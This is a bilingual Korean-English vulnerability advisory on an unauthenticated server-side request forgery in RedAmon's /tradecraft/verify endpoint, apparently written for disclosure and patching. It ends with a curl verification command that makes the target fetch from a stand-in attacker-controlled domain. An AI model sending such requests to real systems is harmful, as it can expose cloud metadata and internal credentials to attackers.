🇰🇷 한글 설명
RedAmon 7.0.1 이하 버전의 agent POST /tradecraft/verify 엔드포인트에서 인증되지 않은 서버 측 요청 위조(SSRF) 취약점이 발견되었습니다. validate_url 함수가 초기 호스트네임만 검증하는 결함이 있어, 공격자가 리다이렉트나 DNS 리바인딩을 통해 클라우드 메타데이터 서비스와 같은 내부 주소에 접근하고 내용을 탈취할 수 있습니다.
💡 쉬운 설명
해커가 가짜 주소를 보내 서버가 내부의 중요한 정보나 비밀번호가 담긴 주소에 스스로 접속하게 만드는 공격입니다. 이를 통해 서버 내부의 민감한 데이터가 외부로 유출될 수 있습니다.
🇺🇸 원문 (English)
RedAmon through 7.0.1 contains an unauthenticated server-side request forgery vulnerability in the agent POST /tradecraft/verify endpoint because validate_url checks only the initial hostname. Attackers can submit a public URL that redirects or DNS-rebinds to internal addresses like cloud metadata services, receiving fetched content through the model-generated summary.
📍 영향받는 시스템
RedAmon 7.0.1 이하 모든 버전
⚔️ 공격 벡터
인증되지 않은 상태에서 /tradecraft/verify 엔드포인트에 리다이렉트 또는 DNS 리바인딩이 포함된 외부 URL을 전송
🛡️ 대응 방법
RedAmon을 최신 보안 패치가 적용된 버전으로 업데이트하고, URL 검증 로직이 리다이렉트와 DNS 리바인딩을 포함하여 전체 경로를 확인하도록 수정해야 합니다.
🔧 검증 코드
명령어 실행 시 공격자가 설정한 외부 도메인의 응답이나 내부 데이터가 포함된 요약(summary) 내용이 반환되면 취약한 상태입니다.
curl -s -X POST http://<target-ip>/tradecraft/verify -d 'url=http://attacker-controlled-domain.com' | grep -i 'summary'